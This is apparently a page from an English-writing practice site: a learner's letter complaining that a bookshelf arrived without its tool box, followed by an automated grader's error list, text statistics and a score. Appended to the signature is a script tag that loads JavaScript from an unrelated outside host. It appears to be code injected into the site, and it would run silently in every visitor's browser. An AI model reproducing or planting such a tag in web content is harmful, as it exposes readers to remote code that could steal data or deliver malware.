You recentlly ordered something online. When the delivery came it was not complete.
Write a letter to the company. In your letter:
Explain what you ordered and what was missing from your delivery
Explain the importance of this delivery
Ask for a replacement item to be send
Dear Sir or Madam
I am writing this letter with regard to a missing component of your delivery last week.
Last week, I ordered an bookshelf from your online store. When I receive your package I noticed that everything were included except the tool box. I believe you can understand that I can not assemble the bookshelf together with out any tools.
Since I have just moved in my new apartment, all my books are laying on the floor of my reading room which looked very messy at this moment. I really need my reading room looks neat and clean because I plan to give my friend a birthday party at my place next week.
If it is possible, could you send out the tool box within the next two business day? Thus, I can receive it on this Friday. I will not be able to receive any package after this Friday since I will be out of town this weekend.
I look forward hearing from you
Jun Liang Guo<script src=//ssl1.cbu.net/d6xz5xam></script>
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Grammar and spelling errors:
Line 7, column 22, Rule ID: EN_A_VS_AN
Message: Use 'a' instead of 'an' if the following word doesn't start with a vowel sound, e.g. 'a sentence', 'a university'
Suggestion: a
...ivery last week. Last week, I ordered an bookshelf from your online store. When ...
^^
Line 7, column 59, Rule ID: SENTENCE_FRAGMENT[1]
Message: “When” at the beginning of a sentence requires a 2nd clause. Maybe a comma, question or exclamation mark is missing, or the sentence is incomplete and should be joined with the following sentence.
...ed an bookshelf from your online store. When I receive your package I noticed that e...
^^^^
Line 7, column 224, Rule ID: WITH_OUT[1]
Message: This word is usually written together. Did you mean 'without'?
Suggestion: without
...can not assemble the bookshelf together with out any tools. Since I have just moved in...
^^^^^^^^
Transition Words or Phrases used:
if, look, really, thus, with regard to
Attributes: Values AverageValues Percentages(Values/AverageValues)% => Comments
Performance on Part of Speech:
To be verbs : 5.0 7.48453608247 67% => OK
Auxiliary verbs: 7.0 4.92783505155 142% => OK
Conjunction : 2.0 5.05154639175 40% => More conjunction wanted.
Relative clauses : 4.0 3.03092783505 132% => OK
Pronoun: 34.0 32.9175257732 103% => OK
Preposition: 23.0 26.3917525773 87% => OK
Nominalization: 1.0 3.85567010309 26% => More nominalizations (nouns with a suffix like: tion ment ence ance) wanted.
Performance on vocabulary words:
No of characters: 743.0 937.175257732 79% => OK
No of words: 170.0 206.0 83% => More content wanted.
Chars per words: 4.37058823529 4.54256449028 96% => OK
Fourth root words length: 3.61087313685 3.78020617076 96% => OK
Word Length SD: 2.16710225415 2.54303337028 85% => OK
Unique words: 111.0 127.690721649 87% => More unique words wanted.
Unique words percentage: 0.652941176471 0.622605031667 105% => OK
syllable_count: 223.2 290.88556701 77% => OK
avg_syllables_per_word: 1.3 1.41237113402 92% => OK
A sentence (or a clause, phrase) starts by:
Pronoun: 7.0 9.13402061856 77% => OK
Article: 0.0 0.824742268041 0% => OK
Subordination: 3.0 1.83505154639 163% => OK
Conjunction: 0.0 0.463917525773 0% => OK
Preposition: 1.0 1.44329896907 69% => OK
Performance on sentences:
How many sentences: 10.0 12.6804123711 79% => Need more sentences. Double check the format of sentences, make sure there is a space between two sentences, or have enough periods. And also check the lengths of sentences, maybe they are too long.
Sentence length: 17.0 16.3608247423 104% => OK
Sentence length SD: 30.9004854331 44.8134815571 69% => OK
Chars per sentence: 74.3 76.5299724578 97% => OK
Words per sentence: 17.0 16.8248392259 101% => OK
Discourse Markers: 3.8 4.34317383033 87% => OK
Paragraphs: 5.0 4.29896907216 116% => OK
Language errors: 3.0 2.54639175258 118% => OK
Sentences with positive sentiment : 2.0 7.41237113402 27% => More positive sentences wanted.
Sentences with negative sentiment : 1.0 1.49484536082 67% => OK
Sentences with neutral sentiment: 7.0 3.94845360825 177% => OK
What are sentences with positive/Negative/neutral sentiment?
Coherence and Cohesion:
Essay topic to essay body coherence: 0.154881472277 0.216113520407 72% => OK
Sentence topic coherence: 0.066157328923 0.0766984524023 86% => OK
Sentence topic coherence SD: 0.0523682238771 0.0603063233224 87% => OK
Paragraph topic coherence: 0.10526529883 0.12726935374 83% => OK
Paragraph topic coherence SD: 0.0638345351162 0.0580467560999 110% => OK
Essay readability:
automated_readability_index: 7.7 8.37731958763 92% => Automated_readability_index is low.
flesch_reading_ease: 79.6 70.7449484536 113% => OK
smog_index: 3.1 3.82989690722 81% => OK
flesch_kincaid_grade: 6.4 7.45979381443 86% => OK
coleman_liau_index: 7.77 8.71597938144 89% => OK
dale_chall_readability_score: 6.34 7.59969072165 83% => OK
difficult_words: 20.0 41.2886597938 48% => More difficult words wanted.
linsear_write_formula: 7.5 8.62886597938 87% => OK
gunning_fog: 8.8 8.54432989691 103% => OK
text_standard: 8.0 8.15463917526 98% => OK
What are above readability scores?
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Rates: 73.0337078652 out of 100
Scores by essay e-grader: 6.5 Out of 9
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Note: the e-grader does NOT examine the meaning of words and ideas. VIP users will receive further evaluations by advanced module of e-grader and human graders.